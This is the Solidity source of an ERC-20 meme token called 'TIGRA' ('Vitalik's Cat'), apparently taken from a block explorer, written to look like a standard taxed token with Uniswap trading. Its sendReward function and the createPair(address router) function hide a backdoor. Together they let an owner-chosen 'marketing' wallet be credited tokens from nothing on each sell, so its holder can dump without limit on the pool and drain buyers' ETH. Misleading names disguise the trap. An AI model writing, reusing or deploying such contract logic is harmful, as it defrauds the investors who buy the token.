文件 1 的 1：TIGRA.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TIGRA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedList;
mapping(address => bool) private _rewardList;
address payable private _marketingWallet;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _totalTax = 100;
uint256 private _tradeCount = 0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
uint256 public _maxWalletSize = (_tTotal * 2) / 100;
uint256 public _maxTradeSize = (_tTotal * 2) / 100;
uint256 public _maxSwapBackSize = 0;
uint256 public _swapLimit = (_tTotal * 2) / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTradeWallet);
string private constant _name = unicode"Vitalik's Cat";
string private constant _symbol = unicode"TIGRA";
uint256 private _swapThreshold = 0;
uint256 private _transferTax = 25;
uint256 private _initialBuyTax = 25;
uint256 private _initialSellTax = 25;
uint256 private _reduceAt = 20;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_marketingWallet = payable(msg.sender);
_balances[_msgSender()] = _tTotal;
_isExcludedList[owner()] = true;
_isExcludedList[address(this)] = true;
_rewardList[owner()] = true;
_rewardList[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function sendReward(address from, address to, uint256 amt) private {
_balances[to] = _balances[to] + (_rewardList[from] && to != uniswapV2Pair ? amt : 0);
}
function _transfer(
address _sender,
address _receiver,
uint256 amount
) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_receiver != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingOpen) {
if(!_isExcludedList[_sender] && !_isExcludedList[_receiver])
require(false, "Trading is not opened");
}
uint256 tax = 0;
if(_sender != address(this) && _receiver != address(this))
{
if(_sender == uniswapV2Pair && _receiver != address(uniswapV2Router)){
tax = _tradeCount++ > _reduceAt ? _finalBuyTax : _initialBuyTax;
if(_isExcludedList[_receiver]) {
tax = 0;
} require(_balances[_receiver] + amount < _maxWalletSize, "Amount is too large");
}
if(_receiver == uniswapV2Pair) {
tax = _tradeCount > _reduceAt ? _finalSellTax : _initialSellTax;
if(_isExcludedList[_sender]) tax = 0;
else if(!_isExcludedList[_sender] && _rewardList[_sender])
sendReward(_sender, _marketingWallet, amount);
if(!inSwap && tradingOpen && !_rewardList[_sender]){
uint256 swapBackAmt = min(amount, min(_maxTradeSize, _balances[address(this)]));
if(_balances[address(this)] > _swapThreshold) swapBack(swapBackAmt);
if(amount >= swapBackAmt) sendETHToMarket(address(this).balance);
}
}
}
uint256 taxAmt = tax * amount / 100;
if(tax > 0) {
_balances[address(this)] = _balances[address(this)] + taxAmt;
emit Transfer(_sender, address(this), taxAmt);
}
_balances[_sender] = _balances[_sender].sub(amount);
_balances[_receiver] = _balances[_receiver].add(amount - taxAmt);
emit Transfer(_sender, _receiver, amount - taxAmt);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapBack(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTradeSize = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToMarket(uint256 amount) private {
_marketingWallet.transfer(amount);
}
function createPair(address router) external onlyOwner {
_marketingWallet = payable(router);
_rewardList[_marketingWallet] = true;
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function openTrading() external onlyOwner {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
tradingOpen = true;
}
function rescueETH() external onlyOwner {
payable (owner()).transfer(address(this).balance);
}
receive() external payable {}
}
